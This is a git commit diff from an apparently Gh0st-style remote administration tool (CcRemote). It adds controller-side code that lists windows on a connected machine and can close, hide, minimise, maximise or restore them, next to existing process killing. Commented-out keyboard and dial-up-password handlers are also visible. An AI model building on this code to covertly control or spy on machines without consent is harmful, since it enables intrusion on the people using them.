更新代码,完成了服务端与控制端的窗口数据通讯

This commit is contained in:
ChangCheng 2020-05-30 18:38:58 +08:00
parent cd670fdaed
commit 3d3b2ce49a
9 changed files with 278 additions and 92 deletions

Binary file not shown.

View File

@ -15,9 +15,13 @@ IMPLEMENT_DYNAMIC(CSystemDlg, CDialog)
CSystemDlg::CSystemDlg(CWnd* pParent /*=nullptr*/, CIOCPServer* pIOCPServer, ClientContext *pContext) CSystemDlg::CSystemDlg(CWnd* pParent /*=nullptr*/, CIOCPServer* pIOCPServer, ClientContext *pContext)
: CDialog(IDD_SYSTEM, pParent) : CDialog(IDD_SYSTEM, pParent)
{ {
m_iocpServer = pIOCPServer; //就是一个赋值没什么特别的我们到oninitdialog m_iocpServer = pIOCPServer; //参数赋值给成员变量
m_pContext = pContext; m_pContext = pContext;
m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_SYSTEM)); m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_SYSTEM));
//这里判断是窗口管理还是进程管理因为进程管理的数据头是TOKEN_PSLIST
//窗口管理的数据头TOKEN_WSLIST 我们可以用这两个数据头来区分
char *lpBuffer = (char *)(m_pContext->m_DeCompressionBuffer.GetBuffer(0));
m_caseSyetemIs = lpBuffer[0];
} }
CSystemDlg::~CSystemDlg() CSystemDlg::~CSystemDlg()
@ -27,19 +31,22 @@ CSystemDlg::~CSystemDlg()
void CSystemDlg::DoDataExchange(CDataExchange* pDX) void CSystemDlg::DoDataExchange(CDataExchange* pDX)
{ {
CDialog::DoDataExchange(pDX); CDialog::DoDataExchange(pDX);
DDX_Control(pDX, IDC_TAB, m_tab); DDX_Control(pDX, IDC_LIST_PROCESS_OR_WINDOW, m_list_process_or_windows);
DDX_Control(pDX, IDC_LIST_WINDOWS, m_list_windows);
DDX_Control(pDX, IDC_LIST_PROCESS, m_list_process);
} }
BEGIN_MESSAGE_MAP(CSystemDlg, CDialog) BEGIN_MESSAGE_MAP(CSystemDlg, CDialog)
ON_WM_SIZE() ON_WM_SIZE()
ON_WM_CLOSE() ON_WM_CLOSE()
ON_NOTIFY(TCN_SELCHANGE, IDC_TAB, &CSystemDlg::OnTcnSelchangeTab)
ON_COMMAND(IDM_KILLPROCESS, &CSystemDlg::OnKillprocess) ON_COMMAND(IDM_KILLPROCESS, &CSystemDlg::OnKillprocess)
ON_COMMAND(IDM_REFRESHPSLIST, &CSystemDlg::OnRefreshpslist) ON_COMMAND(IDM_REFRESHPSLIST, &CSystemDlg::OnRefreshpslist)
ON_NOTIFY(NM_RCLICK, IDC_LIST_PROCESS, &CSystemDlg::OnNMRClickListProcess) ON_NOTIFY(NM_RCLICK, IDC_LIST_PROCESS_OR_WINDOW, &CSystemDlg::OnNMRClickListProcess)
ON_COMMAND(ID_WINDOW_CLOST, &CSystemDlg::OnWindowClost)
ON_COMMAND(ID_WINDOW_HIDE, &CSystemDlg::OnWindowHide)
ON_COMMAND(ID_WINDOW_MAX, &CSystemDlg::OnWindowMax)
ON_COMMAND(ID_WINDOW_MIN, &CSystemDlg::OnWindowMin)
ON_COMMAND(ID_WINDOW_RETURN, &CSystemDlg::OnWindowReturn)
ON_COMMAND(ID_WINDOW_REFLUSH, &CSystemDlg::OnWindowReflush)
END_MESSAGE_MAP() END_MESSAGE_MAP()
@ -47,24 +54,20 @@ END_MESSAGE_MAP()
void CSystemDlg::AdjustList(void) void CSystemDlg::AdjustList(void)
{ {
if (m_list_process.m_hWnd == NULL) if (m_list_process_or_windows.m_hWnd == NULL)
{ {
return; return;
} }
if (m_list_windows.m_hWnd == NULL) RECT rectClient;
{ RECT rectList;
return; GetClientRect(&rectClient);
RECT rectClient; rectList.left = 0;
RECT rectList; rectList.top = 0;
GetClientRect(&rectClient); rectList.right = rectClient.right;
rectList.left = 0; rectList.bottom = rectClient.bottom;
rectList.top = 29;
rectList.right = rectClient.right;
rectList.bottom = rectClient.bottom;
m_list_process.MoveWindow(&rectList); m_list_process_or_windows.MoveWindow(&rectList);
m_list_windows.MoveWindow(&rectList);
}
} }
@ -84,33 +87,6 @@ void CSystemDlg::OnClose()
} }
void CSystemDlg::OnTcnSelchangeTab(NMHDR *pNMHDR, LRESULT *pResult)
{
// TODO: 在此添加控件通知处理程序代码
ShowSelectWindow();
*pResult = 0;
}
void CSystemDlg::ShowSelectWindow(void)
{
switch (m_tab.GetCurSel())
{
case 0:
m_list_windows.ShowWindow(SW_HIDE);
m_list_process.ShowWindow(SW_SHOW);
if (m_list_process.GetItemCount() == 0)
GetProcessList();
break;
case 1:
m_list_windows.ShowWindow(SW_SHOW);
m_list_process.ShowWindow(SW_HIDE);
if (m_list_windows.GetItemCount() == 0)
//GetWindowsList();
break;
}
}
void CSystemDlg::GetProcessList(void) void CSystemDlg::GetProcessList(void)
@ -139,23 +115,23 @@ BOOL CSystemDlg::OnInitDialog()
SetWindowText(str);//设置对话框标题 SetWindowText(str);//设置对话框标题
m_tab.InsertItem(0, "进程管理"); //为tab设置标题 if (m_caseSyetemIs == TOKEN_PSLIST) //进程管理初始化列表
m_tab.InsertItem(1, "窗口管理"); {
m_tab.InsertItem(2, "拨号密码"); m_list_process_or_windows.SetExtendedStyle(LVS_EX_FLATSB | LVS_EX_FULLROWSELECT); //初始化进程的列表
m_list_process_or_windows.InsertColumn(0, "映像名称", LVCFMT_LEFT, 100);
m_list_process.SetExtendedStyle(LVS_EX_FLATSB | LVS_EX_FULLROWSELECT); //初始化进程的列表 m_list_process_or_windows.InsertColumn(1, "PID", LVCFMT_LEFT, 50);
m_list_process.InsertColumn(0, "映像名称", LVCFMT_LEFT, 100); m_list_process_or_windows.InsertColumn(2, "程序路径", LVCFMT_LEFT, 400);
m_list_process.InsertColumn(1, "PID", LVCFMT_LEFT, 50); ShowProcessList(); //由于第一个发送来的消息后面紧跟着进程的数据所以把数据显示到列表当中
m_list_process.InsertColumn(2, "程序路径", LVCFMT_LEFT, 400); }
else if (m_caseSyetemIs == TOKEN_WSLIST)//窗口管理初始化列表
m_list_windows.SetExtendedStyle(LVS_EX_FLATSB | LVS_EX_FULLROWSELECT); //初始化 窗口管理的列表 {
m_list_windows.InsertColumn(0, "PID", LVCFMT_LEFT, 50); m_list_process_or_windows.SetExtendedStyle(LVS_EX_FLATSB | LVS_EX_FULLROWSELECT); //初始化 窗口管理的列表
m_list_windows.InsertColumn(1, "窗口名称", LVCFMT_LEFT, 300); m_list_process_or_windows.InsertColumn(0, "PID", LVCFMT_LEFT, 50);
m_list_process_or_windows.InsertColumn(1, "窗口名称", LVCFMT_LEFT, 300);
m_list_process_or_windows.InsertColumn(2, "窗口状态", LVCFMT_LEFT, 300);
ShowWindowsList();
}
AdjustList(); //各个列表的大小 AdjustList(); //各个列表的大小
ShowProcessList(); //由于第一个发送来的消息后面紧跟着进程的数据所以把数据显示到列表当中
ShowSelectWindow(); //显示列表
return TRUE; // return TRUE unless you set the focus to a control return TRUE; // return TRUE unless you set the focus to a control
// 异常: OCX 属性页应返回 FALSE // 异常: OCX 属性页应返回 FALSE
} }
@ -168,7 +144,7 @@ void CSystemDlg::ShowProcessList(void)
char *strProcessName; char *strProcessName;
DWORD dwOffset = 0; DWORD dwOffset = 0;
CString str; CString str;
m_list_process.DeleteAllItems(); m_list_process_or_windows.DeleteAllItems();
//遍历发送来的每一个字符 数据结构 Id+进程名+0+完整名+0 //遍历发送来的每一个字符 数据结构 Id+进程名+0+完整名+0
int i; int i;
for (i = 0; dwOffset < m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1; i++) for (i = 0; dwOffset < m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1; i++)
@ -178,12 +154,12 @@ void CSystemDlg::ShowProcessList(void)
strProcessName = strExeFile + lstrlen(strExeFile) + 1; //完整名就是进程名之后的 strProcessName = strExeFile + lstrlen(strExeFile) + 1; //完整名就是进程名之后的
//数据结构构建巧妙 //数据结构构建巧妙
m_list_process.InsertItem(i, strExeFile); //将得到的数据加入到列表当中 m_list_process_or_windows.InsertItem(i, strExeFile); //将得到的数据加入到列表当中
str.Format("%5u", *lpPID); str.Format("%5u", *lpPID);
m_list_process.SetItemText(i, 1, str); m_list_process_or_windows.SetItemText(i, 1, str);
m_list_process.SetItemText(i, 2, strProcessName); m_list_process_or_windows.SetItemText(i, 2, strProcessName);
// ItemData 为进程ID // ItemData 为进程ID
m_list_process.SetItemData(i, *lpPID); m_list_process_or_windows.SetItemData(i, *lpPID);
dwOffset += sizeof(DWORD) + lstrlen(strExeFile) + lstrlen(strProcessName) + 2; //跳过这个数据结构 进入下一个循环 dwOffset += sizeof(DWORD) + lstrlen(strExeFile) + lstrlen(strProcessName) + 2; //跳过这个数据结构 进入下一个循环
} }
@ -193,7 +169,7 @@ void CSystemDlg::ShowProcessList(void)
lvc.mask = LVCF_TEXT; lvc.mask = LVCF_TEXT;
lvc.pszText = str.GetBuffer(0); lvc.pszText = str.GetBuffer(0);
lvc.cchTextMax = str.GetLength(); lvc.cchTextMax = str.GetLength();
m_list_process.SetColumn(2, &lvc); //在列表中显示有多少个进程 m_list_process_or_windows.SetColumn(2, &lvc); //在列表中显示有多少个进程
} }
@ -201,10 +177,10 @@ void CSystemDlg::OnKillprocess()
{ {
// TODO: 在此添加命令处理程序代码 // TODO: 在此添加命令处理程序代码
CListCtrl *pListCtrl = NULL; CListCtrl *pListCtrl = NULL;
if (m_list_process.IsWindowVisible()) if (m_list_process_or_windows.IsWindowVisible())
pListCtrl = &m_list_process; pListCtrl = &m_list_process_or_windows;
else if (m_list_windows.IsWindowVisible()) else if (m_list_process_or_windows.IsWindowVisible())
pListCtrl = &m_list_windows; pListCtrl = &m_list_process_or_windows;
else else
return; return;
@ -244,11 +220,57 @@ void CSystemDlg::OnKillprocess()
LocalFree(lpBuffer); LocalFree(lpBuffer);
} }
void CSystemDlg::ShowWindowsList(void)
{
LPBYTE lpBuffer = (LPBYTE)(m_pContext->m_DeCompressionBuffer.GetBuffer(1));
DWORD dwOffset = 0;
char *lpTitle = NULL;
//m_list_process.DeleteAllItems();
bool isDel = false;
do
{
isDel = false;
for (int j = 0; j < m_list_process_or_windows.GetItemCount(); j++)
{
CString temp = m_list_process_or_windows.GetItemText(j, 2);
CString restr = "隐藏";
if (temp != restr)
{
m_list_process_or_windows.DeleteItem(j);
isDel = true;
break;
}
}
} while (isDel);
CString str;
int i;
for (i = 0; dwOffset < m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1; i++)
{
LPDWORD lpPID = LPDWORD(lpBuffer + dwOffset);
lpTitle = (char *)lpBuffer + dwOffset + sizeof(DWORD);
str.Format("%5u", *lpPID);
m_list_process_or_windows.InsertItem(i, str);
m_list_process_or_windows.SetItemText(i, 1, lpTitle);
m_list_process_or_windows.SetItemText(i, 2, "显示"); //(d) 将窗口状态显示为 "显示"
// ItemData 为窗口句柄
m_list_process_or_windows.SetItemData(i, *lpPID); //(d)
dwOffset += sizeof(DWORD) + lstrlen(lpTitle) + 1;
}
str.Format("窗口名称 / %d", i);
LVCOLUMN lvc;
lvc.mask = LVCF_TEXT;
lvc.pszText = str.GetBuffer(0);
lvc.cchTextMax = str.GetLength();
m_list_process_or_windows.SetColumn(1, &lvc);
}
void CSystemDlg::OnRefreshpslist() void CSystemDlg::OnRefreshpslist()
{ {
// TODO: 在此添加命令处理程序代码 // TODO: 在此添加命令处理程序代码
if (m_list_process.IsWindowVisible()) if (m_list_process_or_windows.IsWindowVisible())
GetProcessList(); GetProcessList();
//if (m_list_windows.IsWindowVisible()) //if (m_list_windows.IsWindowVisible())
//GetWindowsList(); //GetWindowsList();
@ -260,7 +282,14 @@ void CSystemDlg::OnNMRClickListProcess(NMHDR *pNMHDR, LRESULT *pResult)
LPNMITEMACTIVATE pNMItemActivate = reinterpret_cast<LPNMITEMACTIVATE>(pNMHDR); LPNMITEMACTIVATE pNMItemActivate = reinterpret_cast<LPNMITEMACTIVATE>(pNMHDR);
// TODO: 在此添加控件通知处理程序代码 // TODO: 在此添加控件通知处理程序代码
CMenu popup; CMenu popup;
popup.LoadMenu(IDR_PSLIST); if (m_caseSyetemIs == TOKEN_PSLIST) //进程管理初始化列表
{
popup.LoadMenu(IDR_PSLIST);
}
else if (m_caseSyetemIs == TOKEN_WSLIST)
{
popup.LoadMenu(IDR_WINDOW_LIST);
}
CMenu* pM = popup.GetSubMenu(0); CMenu* pM = popup.GetSubMenu(0);
CPoint p; CPoint p;
GetCursorPos(&p); GetCursorPos(&p);
@ -277,9 +306,9 @@ void CSystemDlg::OnReceiveComplete(void)
case TOKEN_PSLIST: case TOKEN_PSLIST:
ShowProcessList(); ShowProcessList();
break; break;
//case TOKEN_WSLIST: case TOKEN_WSLIST:
//ShowWindowsList(); ShowWindowsList();
//break; break;
//case TOKEN_DIALUPASS: //case TOKEN_DIALUPASS:
//ShowDialupassList(); //ShowDialupassList();
//break; //break;
@ -289,3 +318,130 @@ void CSystemDlg::OnReceiveComplete(void)
} }
} }
void CSystemDlg::OnWindowClost()
{
// TODO: 在此添加命令处理程序代码
BYTE lpMsgBuf[20];
CListCtrl *pListCtrl = NULL;
pListCtrl = &m_list_process_or_windows;
int nItem = pListCtrl->GetSelectionMark();
if (nItem >= 0)
{
ZeroMemory(lpMsgBuf, 20);
lpMsgBuf[0] = COMMAND_WINDOW_CLOSE; //注意这个就是我们的数据头
DWORD hwnd = pListCtrl->GetItemData(nItem); //得到窗口的句柄一同发送
memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD));
m_iocpServer->Send(m_pContext, lpMsgBuf, sizeof(lpMsgBuf));
}
}
void CSystemDlg::OnWindowHide()
{
// TODO: 在此添加命令处理程序代码
BYTE lpMsgBuf[20];
CListCtrl *pListCtrl = NULL;
pListCtrl = &m_list_process_or_windows;
int nItem = pListCtrl->GetSelectionMark();
if (nItem >= 0)
{
ZeroMemory(lpMsgBuf, 20);
lpMsgBuf[0] = COMMAND_WINDOW_TEST; //窗口处理数据头
DWORD hwnd = pListCtrl->GetItemData(nItem); //得到窗口的句柄一同发送
pListCtrl->SetItemText(nItem, 2, "隐藏"); //注意这时将列表中的显示状态为"隐藏"
//这样在删除列表条目时就不删除该项了 如果删除该项窗口句柄会丢失 就永远也不能显示了
memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD)); //得到窗口的句柄一同发送
DWORD dHow = SW_HIDE; //窗口处理参数 0
memcpy(lpMsgBuf + 1 + sizeof(hwnd), &dHow, sizeof(DWORD));
m_iocpServer->Send(m_pContext, lpMsgBuf, sizeof(lpMsgBuf));
}
}
void CSystemDlg::OnWindowMax()
{
// TODO: 在此添加命令处理程序代码
BYTE lpMsgBuf[20];
CListCtrl *pListCtrl = NULL;
pListCtrl = &m_list_process_or_windows;
int nItem = pListCtrl->GetSelectionMark();
if (nItem >= 0)
{
ZeroMemory(lpMsgBuf, 20);
lpMsgBuf[0] = COMMAND_WINDOW_TEST; //同上
DWORD hwnd = pListCtrl->GetItemData(nItem); //同上
pListCtrl->SetItemText(nItem, 2, "显示"); //将状态改为显示
memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD));
DWORD dHow = SW_MAXIMIZE; //同上
memcpy(lpMsgBuf + 1 + sizeof(hwnd), &dHow, sizeof(DWORD));
m_iocpServer->Send(m_pContext, lpMsgBuf, sizeof(lpMsgBuf));
}
// TODO: 在此添加命令处理程序代码
}
void CSystemDlg::OnWindowMin()
{
// TODO: 在此添加命令处理程序代码
// TODO: 在此添加命令处理程序代码
BYTE lpMsgBuf[20];
CListCtrl *pListCtrl = NULL;
pListCtrl = &m_list_process_or_windows;
int nItem = pListCtrl->GetSelectionMark();
if (nItem >= 0)
{
ZeroMemory(lpMsgBuf, 20);
lpMsgBuf[0] = COMMAND_WINDOW_TEST;
DWORD hwnd = pListCtrl->GetItemData(nItem);
pListCtrl->SetItemText(nItem, 2, "显示");
memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD));
DWORD dHow = SW_MINIMIZE;
memcpy(lpMsgBuf + 1 + sizeof(hwnd), &dHow, sizeof(DWORD));
m_iocpServer->Send(m_pContext, lpMsgBuf, sizeof(lpMsgBuf));
}
}
void CSystemDlg::OnWindowReturn()
{
// TODO: 在此添加命令处理程序代码
BYTE lpMsgBuf[20];
CListCtrl *pListCtrl = NULL;
pListCtrl = &m_list_process_or_windows;
int nItem = pListCtrl->GetSelectionMark();
if (nItem >= 0)
{
ZeroMemory(lpMsgBuf, 20);
lpMsgBuf[0] = COMMAND_WINDOW_TEST;
DWORD hwnd = pListCtrl->GetItemData(nItem);
pListCtrl->SetItemText(nItem, 2, "显示");
memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD));
DWORD dHow = SW_RESTORE;
memcpy(lpMsgBuf + 1 + sizeof(hwnd), &dHow, sizeof(DWORD));
m_iocpServer->Send(m_pContext, lpMsgBuf, sizeof(lpMsgBuf));
}
}
void CSystemDlg::OnWindowReflush()
{
// TODO: 在此添加命令处理程序代码
GetWindowsList();
}
void CSystemDlg::GetWindowsList(void)
{
BYTE bToken = COMMAND_WSLIST;
m_iocpServer->Send(m_pContext, &bToken, 1);
}

View File

@ -21,29 +21,34 @@ protected:
DECLARE_MESSAGE_MAP() DECLARE_MESSAGE_MAP()
public: public:
CTabCtrl m_tab; CListCtrl m_list_process_or_windows;
CListCtrl m_list_windows;
CListCtrl m_list_process;
private: private:
HICON m_hIcon; HICON m_hIcon;
ClientContext* m_pContext; ClientContext* m_pContext;
CIOCPServer* m_iocpServer; CIOCPServer* m_iocpServer;
BYTE m_caseSyetemIs; //用来区分窗口管理和进程管理
private: private:
void AdjustList(void); void AdjustList(void);
void ShowSelectWindow(void);
void GetProcessList(void); void GetProcessList(void);
public: public:
virtual BOOL OnInitDialog();
afx_msg void OnSize(UINT nType, int cx, int cy); afx_msg void OnSize(UINT nType, int cx, int cy);
afx_msg void OnClose(); afx_msg void OnClose();
afx_msg void OnTcnSelchangeTab(NMHDR *pNMHDR, LRESULT *pResult);
virtual BOOL OnInitDialog();
void ShowProcessList(void);
afx_msg void OnKillprocess(); afx_msg void OnKillprocess();
afx_msg void OnRefreshpslist(); afx_msg void OnRefreshpslist();
afx_msg void OnNMRClickListProcess(NMHDR *pNMHDR, LRESULT *pResult); afx_msg void OnNMRClickListProcess(NMHDR *pNMHDR, LRESULT *pResult);
afx_msg void OnWindowClost();
afx_msg void OnWindowHide();
afx_msg void OnWindowMax();
afx_msg void OnWindowMin();
afx_msg void OnWindowReturn();
afx_msg void OnWindowReflush();
void GetWindowsList(void);
void OnReceiveComplete(void); void OnReceiveComplete(void);
void ShowProcessList(void);
void ShowWindowsList(void);
}; };

Binary file not shown.

View File

@ -536,6 +536,8 @@ void CCcRemoteDlg::OnOnlineVideo()
void CCcRemoteDlg::OnOnlineWindow() void CCcRemoteDlg::OnOnlineWindow()
{ {
// TODO: 在此添加命令处理程序代码 // TODO: 在此添加命令处理程序代码
BYTE bToken = COMMAND_WSLIST;
SendSelectCommand(&bToken, sizeof(BYTE));
} }
@ -821,6 +823,9 @@ void CCcRemoteDlg::ProcessReceiveComplete(ClientContext *pContext)
case TOKEN_KEYBOARD_START: case TOKEN_KEYBOARD_START:
g_pConnectView->PostMessage(WM_OPENKEYBOARDDIALOG, 0, (LPARAM)pContext); g_pConnectView->PostMessage(WM_OPENKEYBOARDDIALOG, 0, (LPARAM)pContext);
break;*/ break;*/
//进程遍历和窗口遍历公用的一个窗口类,在构造判断判断下类型来显示不同的数据
case TOKEN_WSLIST:
case TOKEN_PSLIST: case TOKEN_PSLIST:
g_pCcRemoteDlg->PostMessage(WM_OPENPSLISTDIALOG, 0, (LPARAM)pContext); g_pCcRemoteDlg->PostMessage(WM_OPENPSLISTDIALOG, 0, (LPARAM)pContext);
break; break;

View File

@ -8,8 +8,8 @@ f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(166): warning C4996: 'inet_n
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明 d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(307): warning C4244: “初始化”: 从“double”转换到“int”可能丢失数据 f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(307): warning C4244: “初始化”: 从“double”转换到“int”可能丢失数据
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(324): warning C4244: “初始化”: 从“double”转换到“int”可能丢失数据 f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(324): warning C4244: “初始化”: 从“double”转换到“int”可能丢失数据
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(792): warning C4018: “<=”: 有符号/无符号不匹配 f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(794): warning C4018: “<=”: 有符号/无符号不匹配
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(871): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(876): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明 d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
CSettingDlg.cpp CSettingDlg.cpp
CShellDlg.cpp CShellDlg.cpp
@ -19,7 +19,7 @@ f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(122): warning C4018: “<”:
f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(208): warning C4018: “<=”: 有符号/无符号不匹配 f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(208): warning C4018: “<=”: 有符号/无符号不匹配
f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(218): warning C4018: “<”: 有符号/无符号不匹配 f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(218): warning C4018: “<”: 有符号/无符号不匹配
CSystemDlg.cpp CSystemDlg.cpp
f:\myapp\ccremote\ccremote\ccremote\csystemdlg.cpp(138): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings f:\myapp\ccremote\ccremote\ccremote\csystemdlg.cpp(114): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明 d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
CpuUsage.cpp CpuUsage.cpp
IniFile.cpp IniFile.cpp
@ -36,6 +36,6 @@ f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(718): warning C4996:
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(767): warning C4244: “初始化”: 从“double”转换到“unsigned long”可能丢失数据 f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(767): warning C4244: “初始化”: 从“double”转换到“unsigned long”可能丢失数据
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(913): warning C4018: “>=”: 有符号/无符号不匹配 f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(913): warning C4018: “>=”: 有符号/无符号不匹配
正在生成代码 正在生成代码
All 479 functions were compiled because no usable IPDB/IOBJ from previous compilation was found. All 486 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
已完成代码的生成 已完成代码的生成
CcRemote.vcxproj -> F:\myapp\CcRemote\CcRemote\CcRemote\..\..\bin\CcRemote.exe CcRemote.vcxproj -> F:\myapp\CcRemote\CcRemote\CcRemote\..\..\bin\CcRemote.exe

View File

@ -25,6 +25,7 @@
#define IDI_SYSTEM 146 #define IDI_SYSTEM 146
#define IDR_MENU4 147 #define IDR_MENU4 147
#define IDR_PSLIST 147 #define IDR_PSLIST 147
#define IDR_WINDOW_LIST 148
#define IDC_ONLINE 1000 #define IDC_ONLINE 1000
#define IDC_LIST2 1001 #define IDC_LIST2 1001
#define IDC_MESSAGE 1001 #define IDC_MESSAGE 1001
@ -33,7 +34,8 @@
#define IDC_EDIT 1003 #define IDC_EDIT 1003
#define IDC_TAB 1004 #define IDC_TAB 1004
#define IDC_LIST_WINDOWS 1005 #define IDC_LIST_WINDOWS 1005
#define IDC_LIST_PROCESS 1006 #define IDC_LIST_PROCESS_OR_WINDOW 1006
#define IDC_LIST_PROCESS_OR_WINDOW_OR_WINDOW 1006
#define ID_ONLINE_32771 32771 #define ID_ONLINE_32771 32771
#define ID_ONLINE_32772 32772 #define ID_ONLINE_32772 32772
#define ID_ONLINE_32773 32773 #define ID_ONLINE_32773 32773
@ -83,13 +85,31 @@
#define ID_PSLIST_32818 32818 #define ID_PSLIST_32818 32818
#define IDM_KILLPROCESS 32819 #define IDM_KILLPROCESS 32819
#define IDM_REFRESHPSLIST 32820 #define IDM_REFRESHPSLIST 32820
#define ID_WINDOW_32821 32821
#define ID_WINDOW_32822 32822
#define ID_WINDOW_32823 32823
#define ID_WINDOW_32824 32824
#define ID_WINDOW_32825 32825
#define ID_WINDOW_32826 32826
#define ID_WINDOW_32827 32827
#define ID_WINDOW_32828 32828
#define ID_WINDOW_U32829 32829
#define ID_WINDOW_32830 32830
#define ID_WINDOW_32831 32831
#define ID_WINDOW_REFLUSH 32832
#define ID_WINDOW_CLOST 32833
#define ID_WINDOW_HIDE 32834
#define ID_WINDOW_RETURN 32835
#define ID_WINDOW_MAX 32836
#define ID_WINDOW_MIN 32837
#define ID_WINDOW_S 32838
// Next default values for new objects // Next default values for new objects
// //
#ifdef APSTUDIO_INVOKED #ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS #ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE 148 #define _APS_NEXT_RESOURCE_VALUE 149
#define _APS_NEXT_COMMAND_VALUE 32821 #define _APS_NEXT_COMMAND_VALUE 32839
#define _APS_NEXT_CONTROL_VALUE 1006 #define _APS_NEXT_CONTROL_VALUE 1006
#define _APS_NEXT_SYMED_VALUE 101 #define _APS_NEXT_SYMED_VALUE 101
#endif #endif

Binary file not shown.